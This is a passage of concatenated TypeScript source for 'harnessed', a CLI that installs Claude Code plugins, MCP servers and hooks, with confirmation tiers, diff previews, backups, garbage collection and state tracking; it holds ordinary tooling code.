from './run.js'\n\ninterface RawOpts {\n task?: string\n dryRun?: boolean\n nonInteractive?: boolean\n model?: 'haiku' | 'sonnet' | 'opus'\n modelTier?: 'inherit'\n maxIterations?: number\n workflow?: string\n}\n\nconst PACKAGE_ROOT = getPackageRoot()\nconst WORKFLOWS_DIR = join(PACKAGE_ROOT, 'workflows')\n\nexport function registerExecuteTask(program: Command): void {\n program\n .command('execute-task')\n .description(\n 'Run execute-task workflow (4-phase chain → ralph-loop COMPLETE; immediate by default — use --dry-run for preview)',\n )\n .requiredOption('--task <text>', 'task description (required)')\n .option('--workflow <name>', 'workflow name', 'execute-task')\n .option('--dry-run', 'preview only — do not spawn subagent (opt-in for advanced users)')\n .option('--non-interactive', 'CI / scripts')\n .option('--model <model>', \"subagent model: 'haiku' | 'sonnet' | 'opus'\")\n .option('--model-tier <tier>', \"override: 'inherit' bypasses per-phase phase.model (B-10)\")\n .option('--max-iterations <n>', 'ralph-loop max iter (default 20)', (v) => parseInt(v, 10))\n .action(async (raw: RawOpts) => {\n // H1 gate — sibling install-base.ts pattern\n validateNonInteractiveFlags(raw, 'execute-task --task <text>')\n if (!raw.task) {\n console.error(t('execute_task.require_task'))\n process.exit(2)\n }\n\n const workflowName = raw.workflow ?? 'execute-task'\n const yamlPath = await resolveWorkflowYaml(workflowName, WORKFLOWS_DIR)\n if (!yamlPath) {\n console.error(\n t('execute_task.load_phases_failed', {\n workflow: workflowName,\n message: 'workflow.yaml not found',\n }),\n )\n process.exit(2)\n return\n }\n\n // gateContext: --task → task; --model → modelOverride (captured for Phase 5\n // sdkSpawn-level consumption); --model-tier → modelTierOverride (consumed by\n // Phase 4 buildAgentDef enrichment when set — B-10 escape hatch);\n // --max-iterations → maxIterations (Phase 3 plumb path; ralph-loop opt-in\n // phases 01-04 honor the cap end-to-end).\n const gateContext: Record<string, unknown> = {\n task: raw.task,\n ...(raw.model ? { modelOverride: raw.model } : {}),\n ...(raw.modelTier ? { modelTierOverride: raw.modelTier } : {}),\n ...(raw.maxIterations ? { maxIterations: raw.maxIterations } : {}),\n }\n\n // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n if (raw.dryRun === true) {\n // Universal Phase 1 dry-run JSON envelope shape (sister src/cli/run.ts:91 +\n // src/cli/research.ts:77). Replaces v2 `{ workflow, phases, taskCtx }` shape.\n console.log(JSON.stringify({ workflow: workflowName, yamlPath, gateContext }, null, 2))\n process.exit(0)\n return\n }\n\n // T3.5.W0.4 — before-commit hook K5 Option A enforcement (apply path ONLY).\n // Pre-flight enforce biome auto-fix on TS/JS work tree changes BEFORE the\n // workflow runtime dispatch (subagent SDK internal commits run with a\n // biome-clean work tree). PRESERVED VERBATIM from pre-Phase-4 body — spec\n // D-3 verification #3 explicitly says keep this enforcement layer; it\n // coexists with src/workflow/run.ts:316-331 per-phase `triggers_commit`\n // enforcement (this layer is cwd-wide; workflow runtime layer is per-phase).\n try {\n const stagedOut = execSync('git status --porcelain', { encoding: 'utf8' })\n const changedFiles = stagedOut\n .split('\\n')\n .filter((l) => l.trim().length > 0)\n .map((l) => l.slice(3).trim())\n await runBeforeCommitHook({\n changedFiles,\n cmdArgs: [],\n packageRoot: process.cwd(),\n cmdType: 'git-commit',\n hasUserApproval: true, // apply-immediate default\n })\n } catch (err) {\n // Fail-soft per ADR 0029:git status / biome auto-fix throw → warn + 继续\n // (subagent 内部 commit 时还会有第二道 biome --write check via SDK Bash tool)。\n console.warn(t('execute_task.precommit_skipped', { message: (err as Error).message }))\n }\n\n // Apply path — runWorkflow + fail-soft try/catch + exit 1 on failed status.\n let result: Awaited<ReturnType<typeof runWorkflow>>\n try {\n result = await runWorkflow(yamlPath, {}, { packageRoot: PACKAGE_ROOT, gateContext })\n } catch (err) {\n console.error(`error: workflow runtime failed — ${(err as Error).message}`)\n process.exit(1)\n return\n }\n process.exit(result.status === 'failed' ? 1 : 0)\n })\n}\n","// Phase 1.2 cli subcommand `gc` per ADR 0004 § Consequences Negative #3 +\n// sister review M1 mitigation.\n//\n// IMPL NOTE (Rule 1 / ADR 0004 § Consequences Negative #3): backup snapshots\n// accumulate without bound; users will eventually fill disk. The M1 sister\n// review fix promotes `harnessed gc --older-than 30d` from \"phase 2.4\n// deferred\" to \"phase 1.2 ship\" because the failure mode is silent (users\n// only notice when df -h is red), and ADR 0004 § Consequences explicitly\n// names this as the chosen mitigation.\n//\n// IMPL NOTE (v3.0.1 UX flip — apply-immediate default + --dry-run opt-in):\n// gc follows the unified apply-immediate default convention (sister\n// install.ts pattern verbatim). Without flags → delete candidates。\n// `--dry-run` opt-in 列出 candidates 但不真删 (高级用户预览)。\n// v3.3.0 cleanup — `--apply` backward-compat alias removed (was no-op since v3.0.1)。\n// keepLast + olderThan filter 仍 protect 误删近期 snapshot (safety contract)。\n\nimport { readdir, readFile, rm, stat } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\nimport { getBackupRoot } from '../installers/lib/backup.js'\n\ninterface BackupMetadata {\n installer: string\n manifest: string\n timestamp: string\n files: unknown[]\n}\n\ninterface GcOpts {\n olderThan?: string\n keepLast?: string\n dryRun?: boolean\n}\n\nconst DURATION_RE = /^(\\d+)([dhmw])$/\nfunction parseDuration(s: string): number | null {\n const m = DURATION_RE.exec(s)\n if (!m) return null\n const n = Number.parseInt(m[1] ?? '0', 10)\n const unit = m[2]\n const ms =\n unit === 'd' ? 86_400_000 : unit === 'h' ? 3_600_000 : unit === 'm' ? 60_000 : 604_800_000\n return n * ms\n}\n\nasync function dirSizeKb(dir: string): Promise<number> {\n let total = 0\n const stack: string[] = [dir]\n while (stack.length > 0) {\n const cur = stack.pop()\n if (!cur) break\n const entries = await readdir(cur, { withFileTypes: true })\n for (const e of entries) {\n const p = join(cur, e.name)\n if (e.isDirectory()) stack.push(p)\n else if (e.isFile()) {\n const st = await stat(p)\n total += st.size\n }\n }\n }\n return Math.round(total / 1024)\n}\n\nexport function registerGc(program: Command): void {\n program\n .command('gc')\n .description(\n 'Garbage-collect old backup snapshots (immediate by default — use --dry-run for preview)',\n )\n .option('--older-than <duration>', 'delete snapshots older than (e.g. 30d / 24h / 4w)', '30d')\n .option('--keep-last <N>', 'always keep the most recent N snapshots', '0')\n .option('--dry-run', 'preview only — do not delete (opt-in for advanced users)')\n .action(async (opts: GcOpts) => {\n // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n const dryRun = opts.dryRun === true\n const olderMs = parseDuration(opts.olderThan ?? '30d')\n if (olderMs == null) {\n console.error(\n `${t('gc.invalid_duration', { value: opts.olderThan ?? '' })}\\n${t('gc.invalid_duration.fix')}`,\n )\n process.exit(1)\n return\n }\n const keepLast = Number.parseInt(opts.keepLast ?? '0', 10)\n const root = getBackupRoot()\n let dirs: string[]\n try {\n dirs = (await readdir(root, { withFileTypes: true }))\n .filter((e) => e.isDirectory())\n .map((e) => e.name)\n .sort()\n } catch {\n console.log(t('gc.no_backups', { root }))\n return\n }\n const cutoff = Date.now() - olderMs\n // Reverse so most-recent come first; first `keepLast` are protected.\n const kept = new Set(dirs.slice(-keepLast))\n const candidates: Array<{ ts: string; path: string; manifest: string; sizeKb: number }> = []\n for (const ts of dirs) {\n if (kept.has(ts)) continue\n const path = join(root, ts)\n // Backup ID is ISO timestamp with `:` → `-`; reverse to parse.\n const iso = ts.replace(/T(\\d{2})-(\\d{2})-(\\d{2})/, 'T$1:$2:$3')\n const t = Date.parse(iso)\n if (Number.isNaN(t) || t > cutoff) continue\n let manifest = '(unknown)'\n try {\n const meta = JSON.parse(\n await readFile(join(path, 'metadata.json'), 'utf8'),\n ) as BackupMetadata\n manifest = meta.manifest\n } catch {\n // metadata missing — still gc by age\n }\n const sizeKb = await dirSizeKb(path)\n candidates.push({ ts, path, manifest, sizeKb })\n }\n if (candidates.length === 0) {\n console.log(\n t('gc.no_old_snapshots', { cutoff: opts.olderThan ?? '', keptCount: kept.size }),\n )\n return\n }\n const totalKb = candidates.reduce((a, c) => a + c.sizeKb, 0)\n const key = dryRun ? 'gc.summary_will_delete' : 'gc.summary_deleting'\n console.log(t(key, { count: candidates.length, sizeKb: totalKb }))\n for (const c of candidates) {\n console.log(` ${c.ts} ${c.manifest} (${c.sizeKb} KB)`)\n if (!dryRun) await rm(c.path, { recursive: true, force: true })\n }\n if (dryRun) console.log(t('gc.dry_run_rerun_hint'))\n })\n}\n","// Phase 1.2 4-level confirm wrapper per ADR 0004 contract 4 + Pattern C + H.\n//\n// IMPL NOTE (Rule 1 / GA-2 § B.3): every Clack prompt call MUST be guarded\n// with `p.isCancel(ans)` immediately after await — otherwise Ctrl-C / ESC\n// silently returns a Symbol() value that flows downstream as a truthy\n// non-boolean and corrupts the install decision (terkelg/prompts has the\n// same footgun; Clack v0.10 inherited it but exposes isCancel guard).\n//\n// IMPL NOTE (ADR 0004 contract 4): four risk levels map to four prompt\n// shapes:\n// L1 (read-only / project-scope safe write) → just `note()` print, auto-yes\n// L2 (project-scope mutation, e.g. .mcp.json append) → single `confirm()`\n// L3 (user-scope mutation, e.g. ~/.claude.json) → confirm() × 2 — second\n// message MUST mention shared-state side effects on other plugins\n// L4 (system-wide / global npm install) → require explicit `--system`\n// flag at CLI; if missing, refuse without prompt + print educational\n// \"use --system to opt in\" hint (no L4 manifest may auto-apply)\n//\n// nonInteractive mode (CI / scripts): skip all prompts; honor ctx.opts.apply\n// for L1/L2/L3 (apply=true → proceed; apply=false → dry-run yields proceed:\n// true so caller computes plan but does not execute), while L4 still\n// requires --system (security flag, not a UX decision).\n\nimport * as p from '@clack/prompts'\nimport type { InstallContext, Level } from './types.js'\n\nexport type ConfirmReason = 'user-cancel' | 'flag-missing'\n\nexport interface ConfirmOutcome {\n proceed: boolean\n reason?: ConfirmReason\n}\n\nexport async function confirmAt(level: Level, ctx: InstallContext): Promise<ConfirmOutcome> {\n // L4 — system flag gate, runs first (must short-circuit before any prompt).\n if (level === 'L4' && !ctx.opts.system) {\n if (!ctx.opts.nonInteractive) {\n p.note(\n 'this method requires --system flag (e.g. global npm install affects machine PATH); pass --system to opt in.',\n 'L4 system-wide install',\n )\n }\n return { proceed: false, reason: 'flag-missing' }\n }\n\n // Non-interactive: skip prompts, decide from --apply.\n if (ctx.opts.nonInteractive) {\n return { proceed: ctx.opts.apply }\n }\n\n if (level === 'L1') {\n p.note('will write project-local files only (safe scope).', 'L1 confirm')\n return { proceed: true }\n }\n\n if (level === 'L2') {\n const ans = await p.confirm({ message: 'Proceed with install?', initialValue: false })\n if (p.isCancel(ans)) return { proceed: false, reason: 'user-cancel' }\n return { proceed: ans === true }\n }\n\n if (level === 'L3') {\n const first = await p.confirm({ message: 'Proceed with install?', initialValue: false })\n if (p.isCancel(first)) return { proceed: false, reason: 'user-cancel' }\n if (first !== true) return { proceed: false }\n\n const second = await p.confirm({\n message:\n 'This affects other plugins (e.g. ~/.claude.json is shared user-scope state). Confirm again?',\n initialValue: false,\n })\n if (p.isCancel(second)) return { proceed: false, reason: 'user-cancel' }\n return { proceed: second === true }\n }\n\n // L4 with --system flag → single high-stakes confirm.\n const ans = await p.confirm({\n message: 'System-wide install will modify global PATH. Proceed?',\n initialValue: false,\n })\n if (p.isCancel(ans)) return { proceed: false, reason: 'user-cancel' }\n return { proceed: ans === true }\n}\n","// Phase 1.2 unified-diff renderer per ADR 0004 contract 2 + Pattern B + H.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C3): jsdiff createPatch() is invoked with\n// `stripTrailingCr: true` so a Windows manifest written with CRLF and a Unix\n// target file with LF (or vice versa) produces a *stable* diff — not a\n// 100%-noise \"every line changed\" diff. The trailing CR character (\\r) at\n// end-of-line is normalised away from both sides before line comparison.\n//\n// IMPL NOTE (Rule 1 / nodejs/node#39673 + GA-2 § B.1): we color via\n// picocolors.isColorSupported (NOT process.stdout.isTTY directly). On\n// Windows under Git-Bash, isTTY returns `undefined` instead of `true|false`,\n// which would silently disable color for a real interactive shell. picocolors\n// already combines isTTY ?? false || env.FORCE_COLOR / NO_COLOR / TERM=dumb\n// into one boolean — trust it.\n\nimport { createPatch } from 'diff'\nimport pc from 'picocolors'\nimport type { DiffFile, DiffPlan, InstallContext } from './types.js'\n\n// ADR 0004 § 2 — long diffs are folded by default to keep terminal scrollback\n// reasonable; user passes --full-diff to expand.\nconst FOLD_THRESHOLD = 200\nconst FOLD_HEAD = 100\n\nfunction colorize(line: string): string {\n if (!pc.isColorSupported) return line\n if (line.startsWith('+') && !line.startsWith('+++')) return pc.green(line)\n if (line.startsWith('-') && !line.startsWith('---')) return pc.red(line)\n if (line.startsWith('@@')) return pc.cyan(line)\n return line\n}\n\nfunction diffOneFile(file: DiffFile): { lines: string[]; added: number; removed: number } {\n const patch = createPatch(file.target, file.oldText, file.newText, '', '', {\n stripTrailingCr: true,\n })\n const lines = patch.split('\\n')\n let added = 0\n let removed = 0\n for (const ln of lines) {\n if (ln.startsWith('+') && !ln.startsWith('+++')) added++\n else if (ln.startsWith('-') && !ln.startsWith('---')) removed++\n }\n return { lines, added, removed }\n}\n\nexport function renderDiff(plan: DiffPlan, ctx: InstallContext): string {\n if (plan.files.length === 0) return '(no file changes)\\n'\n\n const out: string[] = []\n let totalAdded = 0\n let totalRemoved = 0\n\n for (const file of plan.files) {\n const { lines, added, removed } = diffOneFile(file)\n totalAdded += added\n totalRemoved += removed\n\n const folded = !ctx.opts.fullDiff && lines.length > FOLD_THRESHOLD\n const visible = folded ? lines.slice(0, FOLD_HEAD) : lines\n for (const ln of visible) out.push(colorize(ln))\n if (folded) {\n const more = lines.length - FOLD_HEAD\n out.push(pc.dim(`... ${more} more lines (use --full-diff to expand)`))\n }\n }\n\n // ADR 0004 § 2 summary line — appended at the bottom so user always sees it.\n const summary = `will modify ${plan.files.length} file${plan.files.length === 1 ? '' : 's'} (${totalAdded} added, ${totalRemoved} removed)`\n out.push('')\n out.push(pc.bold(summary))\n\n return `${out.join('\\n')}\\n`\n}\n","// Phase 5.1 W0 T0.3 — extract err() helper (#BG MED carry-forward 4-phase discharge).\n// Identical 3-line function existed in 7 installer files:\n// ccHookAdd.ts L18 + ccPluginMarketplace.ts L40 + gitCloneWithSetup.ts L43\n// mcpHttpAdd.ts L38 + mcpStdioAdd.ts L31 + npmCli.ts L35 + npxSkillInstaller.ts L49\n// Extracted here to eliminate 7-way duplication.\n\nimport type { InstallContext, InstallError } from './types.js'\n\nexport function err(\n ctx: InstallContext,\n path: string,\n message: string,\n keyword: string,\n): InstallError {\n return { file: ctx.manifest.metadata.name, path, message, line: null, column: null, keyword }\n}\n","// Phase 1.2 first-gate preflight per ADR 0004 contract 1 + Pattern D + C.\n//\n// Why preflight is its own file (not folded into spawn.ts):\n// We want the user to see \"platform mismatch\" / \"missing idempotent_check\"\n// *before* a spawn error fires with a stack trace. spawn.ts is a hot path\n// that should assume invariants already hold; preflight is the cold path\n// that validates those invariants once per install run, in the same spirit\n// as src/manifest/security.ts being separate from validate.ts.\n//\n// Surgical path-walking (Pattern D): we do NOT recursively traverse the\n// manifest AST — every check below targets a hard-coded path. If a future\n// schema field needs preflight enforcement, add a clause here, not a generic\n// walker (karpathy YAGNI; matches manifest/security.ts cmdPaths style).\n//\n// Out of scope (deferred to later phases):\n// - `git ls-remote <repo> <git_ref>` real-network probe → phase 2.1\n// (slow + offline-CI-hostile; preflight is a synchronous fast gate)\n// - npm registry reachability probe → phase 2.4 doctor\n// - Network MTU / proxy configuration → out of phase 1.2 scope\n\nimport type { InstallContext, InstallError } from './types.js'\n\nconst SUPPORTED_PLATFORMS = ['linux', 'darwin', 'win32'] as const\ntype SupportedPlatform = (typeof SUPPORTED_PLATFORMS)[number]\n\n// Subset of cc-plugin-marketplace + git-clone-with-setup git_ref shape; matches\n// the schema regex in src/manifest/schema/installMethods/ccPluginMarketplace.ts.\n// Sanity grep only — schema already enforced this if validate.ts ran.\nconst GIT_REF_SHAPE = /^([a-f0-9]{7,40}|v?\\d+\\.\\d+\\.\\d+([.-][\\w.-]+)?)$/\n\nexport interface PreflightOutcome {\n ok: boolean\n errors: InstallError[]\n // Set when ok=false AND a hard-stop reason applies (caller should yield an\n // `aborted` InstallResult instead of a plain `ok:false`).\n abortReason?: 'platform-mismatch'\n}\n\nexport function preflight(ctx: InstallContext): PreflightOutcome {\n const errors: InstallError[] = []\n const filename = ctx.manifest.metadata.name\n const spec = ctx.manifest.spec\n const install = spec.install\n\n // 1. Platform whitelist. SUPPORTED_PLATFORMS is the harnessed v0.1\n // surface; any platforms[] entry outside it is a manifest error caught by\n // schema, but we double-check for robustness.\n const current = process.platform as SupportedPlatform\n if (!spec.platforms.includes(current)) {\n errors.push({\n file: filename,\n path: '/spec/platforms',\n message: `current platform '${current}' not in supported list [${spec.platforms.join(', ')}]; manifest declares it does not run here.`,\n line: null,\n column: null,\n keyword: 'platform-mismatch',\n suggest: `add '${current}' to spec.platforms in upstream manifest if the installer is known to work there`,\n })\n return { ok: false, errors, abortReason: 'platform-mismatch' }\n }\n\n // 2. git_ref shape sanity (only methods that have it).\n if ('git_ref' in install && typeof install.git_ref === 'string') {\n if (!GIT_REF_SHAPE.test(install.git_ref)) {\n errors.push({\n file: filename,\n path: '/spec/install/git_ref',\n message: `git_ref '${install.git_ref}' does not match SHA(7-40 hex) or SemVer shape; schema should have caught this — preflight backstop.`,\n line: null,\n column: null,\n keyword: 'git-ref-shape',\n suggest:\n 'pin to a SHA (40 hex) or SemVer tag (e.g. v1.2.3); branch names like main/HEAD are forbidden',\n })\n }\n }\n\n // 3. idempotent_check non-empty string (all 6 install methods declare it\n // required in schema, but this guards against a programmatically-built\n // manifest that bypassed validate.ts).\n if (\n typeof install.idempotent_check !== 'string' ||\n install.idempotent_check.trim().length === 0\n ) {\n errors.push({\n file: filename,\n path: '/spec/install/idempotent_check',\n message:\n 'idempotent_check missing or empty; ADR 0004 contract 1 requires a check command for re-install detection',\n line: null,\n column: null,\n keyword: 'idempotent-check-missing',\n suggest:\n 'add a shell cmd that exits 0 iff the package is already installed (e.g. `npm ls -g <pkg>`)',\n })\n }\n\n return { ok: errors.length === 0, errors }\n}\n","// Phase 1.2 .harnessed/state.json SSOT per ADR 0004 contract 6 + D1.2-7.\n//\n// Tracks \"what is currently installed\" across reboots / shells:\n// - schema version (so future migrations are explicit)\n// - per-install record: version + ISO timestamp + manifest sha1\n//\n// karpathy YAGNI (D1.2-7): we do NOT pre-reserve audit.log / current-workflow\n// / checkpoints fields here — those are added when their owner phases ship\n// (audit log = phase 1.4 routing-engine, checkpoints = phase 3.1 ralph-loop\n// integration). The state.json schema therefore lives behind a version field\n// so future phases can bump it without touching this file.\n//\n// Plain TS interface (NOT TypeBox) — state.json is read/written by harnessed\n// itself, never by user manifests; we don't need Ajv runtime validation.\n//\n// IMPL NOTE (Rule 1 / concurrent-write hazard): writeState() uses the atomic\n// write-then-rename idiom (write to `.tmp` sibling + `fs.rename`). Two\n// `harnessed install` processes running concurrently in the same project\n// will see one another's tmp file but only one rename wins, so the final\n// state.json is always either the pre- or the post-state — never a half-\n// written truncation. This matches how npm/yarn/git index updates work.\n//\n// Pattern C: readState returns a default object on ENOENT (first install in\n// a fresh project) — we never throw on missing state.json; absence is the\n// expected initial condition.\n\nimport { mkdir, readFile, rename, writeFile } from 'node:fs/promises'\nimport { dirname } from 'node:path'\nimport { harnessedFile } from './harnessedRoot.js'\n\nexport interface HarnessedStateEntry {\n version: string\n installedAt: string // ISO-8601 timestamp\n manifestSha1: string // sha1 of the manifest yaml that produced this install\n}\n\nexport interface HarnessedState {\n version: '1' // schema version of THIS file format; bump on incompatible change\n installed: Record<string, HarnessedStateEntry>\n}\n\nconst DEFAULT_STATE: HarnessedState = { version: '1', installed: {} }\n\n// v3.0.3 hotfix — state.json path now homedir-rooted (sister `getBackupRoot()`\n// v2.0.1 + `getHarnessedRoot()` v3.0.3). Pre-v3.0.3 used `<cwd>/.harnessed/`\n// which EPERMs when the user launches harnessed from a read-only directory\n// (Warp default `C:\\Program Files\\Warp\\`). The `cwd` parameter is now ignored\n// for path composition (signature kept for backward-compat with callers like\n// `cli/status.ts` and `npmCli.ts` that still pass `ctx.cwd` or `process.cwd()`).\nfunction statePath(_cwd: string): string {\n return harnessedFile('state.json')\n}\n\nexport async function readState(cwd: string): Promise<HarnessedState> {\n const path = statePath(cwd)\n let raw: string\n try {\n raw = await readFile(path, 'utf8')\n } catch (err) {\n // ENOENT — first install in a fresh project; return default schema.\n if ((err as NodeJS.ErrnoException).code === 'ENOENT') {\n return { ...DEFAULT_STATE, installed: {} }\n }\n throw err\n }\n // Malformed JSON / wrong schema version is recoverable: log and return\n // default; we choose data loss over crash because state.json is not\n // primary truth (manifests + .harnessed-backup are). Caller may add a\n // doctor warning if installed map is empty but backups exist.\n try {\n const parsed = JSON.parse(raw) as HarnessedState\n if (parsed.version !== '1' || typeof parsed.installed !== 'object') {\n return { ...DEFAULT_STATE, installed: {} }\n }\n return parsed\n } catch {\n return { ...DEFAULT_STATE, installed: {} }\n }\n}\n\nexport async function writeState(cwd: string, state: HarnessedState): Promise<void> {\n const path = statePath(cwd)\n const tmp = `${path}.tmp`\n await mkdir(dirname(path), { recursive: true })\n // Trailing newline keeps state.json POSIX-friendly + diff-friendly.\n await writeFile(tmp, `${JSON.stringify(state, null, 2)}\\n`, 'utf8')\n await rename(tmp, path)\n}\n\n/**\n * Read-modify-write helper for the common case: record a successful install.\n * Adds or replaces `installed[name]` and persists atomically.\n */\nexport async function updateInstalled(\n cwd: string,\n name: string,\n version: string,\n manifestSha1: string,\n): Promise<void> {\n const state = await readState(cwd)\n state.installed[name] = {\n version,\n installedAt: new Date().toISOString(),\n manifestSha1,\n }\n await writeState(cwd, state)\n}\n","// Phase 2.4 W3 T3.1 — install method 7/7: cc-hook-add (D-04 § 3.1 + R2.4.4 +\n// B-20/B-21/B-22). Sister: npxSkillInstaller (L2 HOME write, real-path verify).\n// L3 tier (~/.claude/settings.json is shared user-scope state — sister mcp-stdio).\n// Deep-merges settings.hooks[event][] (NEVER overwrite). Idempotent on duplicate\n// (matching command+matcher → skip with appliedFiles:[]). R7 verify: re-read +\n// .some() grep (writeFile exit ≠ filesystem truth — sister npx-skill-installer C6).\n\nimport { readFile, writeFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\ninterface Settings {\n hooks?: Record<string, { matcher?: string; command: string }[]>\n [k: string]: unknown\n}\n\nexport const installCcHookAdd: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-hook-add') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `dispatch bug: ${install.method}`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const settingsPath = join(homedir(), '.claude', 'settings.json')\n // Sentinel `null` ⇒ file does not exist (oldText='' so backup() emits pure-create).\n let existing: string | null\n try {\n existing = await readFile(settingsPath, 'utf8')\n } catch {\n existing = null\n }\n let settings: Settings\n try {\n settings = JSON.parse(existing ?? '{}') as Settings\n } catch (e) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/',\n `malformed settings.json: ${(e as Error).message.slice(0, 200)}`,\n 'settings-json-malformed',\n ),\n }\n }\n settings.hooks = settings.hooks ?? {}\n const ev = install.hook_event\n const matcher = install.hook_matcher\n const cmd = install.hook_command\n settings.hooks[ev] = settings.hooks[ev] ?? []\n if (settings.hooks[ev].some((h) => h.command === cmd && h.matcher === matcher)) {\n return { ok: true, backupId: 'idempotent-skip', appliedFiles: [] }\n }\n settings.hooks[ev].push({ matcher, command: cmd })\n const newText = `${JSON.stringify(settings, null, 2)}\\n`\n const plan: DiffPlan = {\n files: [{ target: settingsPath, scope: 'HOME', oldText: existing ?? '', newText }],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n await writeFile(settingsPath, newText)\n\n // R7 — re-read + grep cmd presence; ENOENT/malformed post-write ⇒ verify-failed.\n let verify: Settings\n try {\n verify = JSON.parse(await readFile(settingsPath, 'utf8')) as Settings\n } catch (e) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/hook_command',\n `verify re-read fail: ${(e as Error).message.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n if (!verify.hooks?.[ev]?.some((h) => h.command === cmd)) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/hook_command',\n `hook '${cmd.slice(0, 80)}' missing in hooks.${ev}[] after write`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, ctx.manifest.metadata.name, '', '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [settingsPath] }\n}\n","// v3.0.3 hotfix — fs-based MCP verify (replaces v3.0.2 spawn `claude mcp list`).\n//\n// Problem: v3.0.2 changed `mcpStdioAdd.ts` / `mcpHttpAdd.ts` / `ccPluginMarketplace.ts`\n// verify step from a `claude mcp list | grep -q <name>` shell pipe to a native\n// `spawn('claude', ['mcp', 'list'])` + `stdout.includes(name)` match (sister\n// CHANGELOG v3.0.2 entry). User reports the spawn-based path still fails 3-way\n// on Windows because `claude mcp list` cold-start exceeds the 15s timeout when\n// invoked sequentially after 3 `claude mcp add` calls (warm process pool\n// nearly exhausted; sister Bug 3 v3.0.2 timeout-budgeting issue, but for the\n// VERIFY surface).\n//\n// Crucially: the underlying `claude mcp add --scope user` invocation likely\n// SUCCEEDED — `~/.claude.json` is written before the verify spawn — but the\n// verify spawn timed out and reported `exit -1 or '<name>' not in mcp list\n// stdout: [timeout]` (literal user message). All 3 MCP installers fall in.\n//\n// Solution: skip the spawn entirely. Read `~/.claude.json` directly with\n// `fs.readFile` + `JSON.parse` + check `mcpServers[name]`. The file is the\n// authoritative source of truth (Claude Code reads it on startup); CC's\n// `mcp list` is just a JSON pretty-printer over the same file.\n//\n// Cross-platform: pure Node fs, no shell, no spawn, no timeout risk.\n// Idempotent: file-not-exists → no servers registered → return false (no throw).\n// Robust: malformed JSON → return false (graceful), don't crash the installer.\n\nimport { readFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\n\n/**\n * Path to the user-global Claude Code config file written by `claude mcp add\n * --scope user` and `claude plugin install --scope user`. CC reads this on\n * startup to load the `mcpServers` map + `enabledPlugins` map.\n */\nexport function getUserClaudeJsonPath(): string {\n return join(homedir(), '.claude.json')\n}\n\ninterface UserClaudeJsonShape {\n mcpServers?: Record<string, unknown>\n enabledPlugins?: Record<string, unknown>\n [k: string]: unknown\n}\n\n/**\n * Read `~/.claude.json` and return the parsed object.\n *\n * Returns `{}` only for the two graceful conditions specified in the v3.0.3\n * verify contract:\n * 1. ENOENT — file does not exist yet (first install). Verify should report\n * \"server not registered\" cleanly, not throw.\n * 2. Malformed JSON — the file exists but is corrupt. Verify should report\n * false rather than crash; the caller's error path produces a clearer\n * \"server missing\" message than a bare SyntaxError stack would.\n *\n * Any other read error (EACCES, EISDIR, etc.) is unexpected and re-thrown\n * so the installer surface them as verify-failed with the original cause\n * (no silent swallowing — anti-slop posture per CLAUDE.md karpathy heuristic).\n */\nexport async function readUserClaudeJson(): Promise<UserClaudeJsonShape> {\n const path = getUserClaudeJsonPath()\n let raw: string\n try {\n raw = await readFile(path, 'utf8')\n } catch (err) {\n if ((err as NodeJS.ErrnoException).code === 'ENOENT') return {}\n throw err\n }\n try {\n const parsed = JSON.parse(raw) as UserClaudeJsonShape\n if (parsed === null || typeof parsed !== 'object') return {}\n return parsed\n } catch {\n // Malformed JSON — explicit graceful return per verify contract.\n return {}\n }\n}\n\n/**\n * Check whether an MCP server is registered in `~/.claude.json`.\n *\n * Used by `mcpStdioAdd.ts` + `mcpHttpAdd.ts` v3.0.3 verify step in place of\n * `spawn('claude', ['mcp', 'list'])` + stdout match.\n *\n * Returns `true` if `mcpServers[name]` exists (any truthy value); `false` if\n * the file is missing, malformed, or the server is not present.\n */\nexport async function isMcpServerRegistered(name: string): Promise<boolean> {\n const config = await readUserClaudeJson()\n const servers = config.mcpServers\n if (!servers || typeof servers !== 'object') return false\n return Object.hasOwn(servers, name)\n}\n\n/**\n * Check whether a Claude Code plugin is registered in `~/.claude.json`.\n *\n * Used by `ccPluginMarketplace.ts` v3.0.3 verify step in place of\n * `spawn('claude', ['plugin', 'list', '--json'])` + stdout match.\n *\n * Plugins live under `enabledPlugins` with keys of the form `<plugin>@<marketplace>`;\n * we check by the plain plugin name (left side of the `@`) since the marketplace\n * suffix is install-time metadata and the caller passes only the bare plugin name.\n */\nexport async function isPluginRegistered(pluginName: string): Promise<boolean> {\n const config = await readUserClaudeJson()\n const plugins = config.enabledPlugins\n if (!plugins || typeof plugins !== 